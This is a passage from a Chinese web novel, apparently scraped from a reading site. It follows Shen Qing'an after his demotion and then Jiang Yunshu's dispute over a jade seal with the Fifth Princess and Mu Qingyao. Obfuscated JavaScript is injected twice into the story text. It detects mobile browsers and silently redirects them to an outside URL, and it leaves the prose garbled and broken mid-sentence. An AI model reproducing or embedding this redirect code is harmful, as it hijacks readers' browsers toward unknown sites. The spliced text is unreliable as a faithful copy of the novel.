“哎哟,我的大人,你这是何必呢!” 沈管家长叹一口气,走上前去,“事情已经到了这个地步,您再生气也于事无补,不过事情也并非您想的那么糟糕。” 说着,他转手倒了一杯茶,递到沈清安跟前。 “不是说消息已经确认,南疆王府下月必能到京,到时候您将身子养好,有郡主帮忙,事情会有转机的。” 郡主…… 提及无忧君主,沈清安满脸的阴狠一下子散了一半。 “对,我还有无忧!” 说着话,他抬头看向沈管家,“不行,昨日之事,我得跟无忧解释清楚,快,备软轿,我要去海棠巷!” “不着急!”沈管家将杯盏送到沈清安手里,“今日门口不太平,奴才想出去都有些费劲,您等天色晚一点,奴才亲自派人去将那位郡主接过来。” 不得不说,沈管家的安排的确周全,沈清安思量片刻,便也应允了。 对,不过是被姜云舒告了,不过是官降两级,不过是一时成为京城百姓议论的话题,又不是杀头的大罪,也不是完全没有机会了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455056|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 情况最糟糕也就是这样了,官降两级如何,他也不是没有筹码了! “最近这段时间,就辛苦沈管家了。” 沈清安舒一口气,见沈管家点头,又吩咐道:“晌午过后,你去将几位宗族长辈叫过来,我有话对他们说。” 他这边即便降了官职,对于宗亲来说,影响也并不大,但是母亲**这件事,宗亲几位长辈,怕是要揪着做文章。 他还在官位,沈家就不能乱,即便为了官职要委屈母亲回清州老家,也必须要提前震慑众人。 “行,我这就去办!” 沈管家应声,转身往外走。 清风村,河边上,微风****。 姜云舒站在河边陪着段知白和月禾钓鱼,听到村子里的动静,扭头朝村口的方向看过去。 是子固。 清晨,子固急匆匆人来,此时将近晌午,又见他垂头丧气离开。 月禾顺着姜云舒的视线看过去,忍不住冷嘲一声。 “这次,沈二郎倒是挺坚定的,要不是小姐,他怕是现在都想不明白。” 说着话,手中鱼竿猛地往上一挑,一条鱼就被拽了上来。 “这条真大!” 段知白惊呼一声,上前将鱼捡到了木桶里。 姜云舒瞧着段知白兴奋的模样,低头看了看自己丝毫未动的鱼竿,忍不住叹一口气。 “如果沈清睿是沈崔氏亲生,境况本就不一样。” 一边说着,她扭头看向月禾,“血脉牵扯之下,即便沈清睿心中再怨怼,也不能对亲生母亲置之不理,这也是没有办法的事。” “哦。” 月禾眼皮动了动。 在她看来,之前沈清睿没有坚定的选择顾从容,那就是负心汉! 她没再继续这个话题,转而提醒姜云舒,“此时距离敬王府接风宴也没几日了,咱们还没选好要送的礼物,小姐您可别忘了。” “要去街上吗?”段知白猛地转过脸来,兴奋道:“我也去!” “好,那就去吧!” 姜云舒把鱼竿一甩。 郁闷的上午,一条鱼都没有钓到。 第282章 五公主 几个人朝着清风村医馆走去,此时顾从容正在熬药。 “顾姐姐,我们给你送鱼来了!”段知白远远地朝着顾从容喊了一声。 顾从容抬头,见月禾和段知白抬着一桶鱼过来,紧忙迎了过来。 “方才我还纳闷,一大清早便不见了你们的踪影,原来是去河边了。” “呐,小姐说,喝鱼汤有助于恢复,等你空了,给沈二郎熬上吧。”月禾一边说着,将木桶拎到水缸旁边。 要不说女子就得习武,这要是直接丢给顾从容,她都拎不过去。 “这,姜姐姐你……” 顾从容眼神闪烁的看向姜云舒。 感动,想哭。 “咳,那个……鱼是月禾钓上来的,小白捡回桶里的。”姜云舒摸了摸鼻子,一脸尴尬。 谁能想到,早晨出发时信誓旦旦,结果那帮倒霉鱼忒不是东西,愣是让她打了个空。 顾从容难得瞧见姜云舒一脸窘迫的模样,忍不住勾了勾唇角。 “那也是姜姐姐一片好心。” 说着,顾从容扭头朝木桶里看了一眼,道:“这么多鱼,沈郎也喝不完,晚上我做姜姐姐喜欢的水煎鱼,你们回来吃。” “改日吧,今晚我们去街上买东西,不定什么时候回来呢。”姜云舒道。 “好吧,那下次。” 顾从容知道她平日里很忙,也不多留。 将鱼交给顾从容,姜云舒几个人径自朝村门口走去。 此时医馆之内,沈清睿听到外面说话的声音,眼眶泛红,紧紧咬着被角才压住眼泪。 即便沈老夫人并非亲生,可他到底是沈家血脉,姜云舒不迁怒他,他已经很庆幸了,可她竟然还帮他,甚至,以前他受封赏送给她的东西,她还给自己留着。 沈家那所谓的母亲,从来都是让他掏干净兜里给大哥,只有姜云舒,自从姜云舒嫁入沈家,才终于有人真心为他筹谋,即便她休夫离开沈家,如今依旧为他的婚事提前做了准备。 他沈清睿何德何等啊! 将近二十岁的大小伙子,此时将头埋进被子里,呜呜的哭。 姜云舒瞧不见沈清睿的眼泪,此时正带着段知白在繁荣街各家店铺逛着。 逛了这一路,姜云舒没买什么东西,倒是段知白的身上背着,怀里抱着,小小的人都快被买的东西埋上了。 走着走着,便来到了玉器店,见姜云舒停住脚步,段知白从一堆里屋中抬起头来。 “姜姐姐也喜欢玉器?可是你平常也并没有佩戴啊。” “用来送礼的,按照交货日期,应该是三日后才来拿,此时不知做完了没有。”姜云舒回道。 “左右已经到了这里,进去问问不就知道了?” 说着话,段知白径自朝里面走去。 进了店里,有小二瞧见姜云舒来,紧忙过来迎着。 “县主,今儿想挑点什么呢?” 此时段知白正在姜云舒前面,他手里抱着的礼物遮住了大半视线,姜云舒往旁边偏了偏,正要说话,却见此时正在柜台前挑选东西,正是五公主和穆轻瑶。 听店小二招呼,五公主和穆轻瑶下意识转过身来,瞧见姜云舒,穆轻瑶当即甩了个白眼。 姜云舒只当没看见,越过她的视线,看向五公主。 “臣,参见五公主。”姜云舒上前行李。 五公主的生母是裴钰的姑母,从亲属关系来算,五公主和裴钰是表亲,便是看着国公府的关系,姜云舒看五公主也会莫名的亲近一些。 “啊,是你啊,免礼吧。” 五公主朝姜云舒抬抬手。 姜云舒抬头,视线落在五公主此时拿着的那枚精雕的印章上。 她还没说话,五公主似是注意到她的视线,先开口,“怎么,你也看上这枚印章吗?” 姜云舒抿了抿唇,“若是没看错,这印章大概是我订做的那枚。” 那印章是以整块的白玉雕刻而成,印首雕刻的是狮子顶绣球,通体白色,偏狮子头上那绣球上一点红,雕工精致细腻,寓意美好,的确是让人一眼便挪不开视线的好物件。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455057|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 当初选这块白玉,姜云舒也是看中了那上面的一点红点缀,毕竟是天然生成的东西,基本上不会存在一模一样。 听姜云舒这样说,五公主面上露出惊讶,低头看一眼那印章,似乎有些不舍,可还是伸手递了过来。 “既然是你的东西,那便还给你吧。” “多谢……” 姜云舒伸手去接,然而,还没拿到手,却见穆轻瑶突然伸手,将那印章抢了过去。 “你说是就是了?这是五公主看中的东西,你也敢抢?”穆轻瑶仰着脸,一副狗仗人势的姿态。 姜云舒眉梢轻挑,“五公主看中的东西,与你穆轻瑶何干?” 穆轻瑶虽出身庆王府,可到底是庶出,如今跟在五公主跟前,说亲近些是堂姐妹,可真论起来,那也是君臣之别。 穆轻瑶被噎了一句,朝姜云舒瞪着眼睛,却将那印章攥得更紧了。 “姜云舒,你何必强撑,此时来抢五公主看上的东西,该不会是因为皇上要给五公主和渊政王府郡王赐婚一事心怀芥蒂吧。” 一边说着,穆轻瑶将那印章塞进五公主手里,回过身来,仰着头看姜云舒。 “五公主嫁给郡王,可想而知,以后渊政王府的爵位会交在谁手里,你最近和渊政王府世子走得近,自然是想将赌注压在世子身上,如今渊政王妃的美梦落空,所以你便来找五公主的不自在,是不是?” 说这话时,穆轻瑶脸上明显带着得意之色,仿佛她已经看穿了姜云舒的心思,此时当着她的面说出来,就如同扯了她的遮羞布。 然而,姜云舒脸上的表情却并没有穆轻瑶想象中的慌乱局促和紧张,相反,她只是唇角含笑的看着她。 越是如何的视线,此时从姜云舒眼睛里看过来,却叫穆轻瑶忍不住浑身发冷。 “你,你笑什么!”穆轻瑶禁不住,冷喝一声。 “笑你蠢。”姜云舒挑了挑眉梢,“穆三小姐喜欢谢无烬吧?” “什,什么?”穆轻瑶被姜云舒这突如其来的一句说得表情一滞。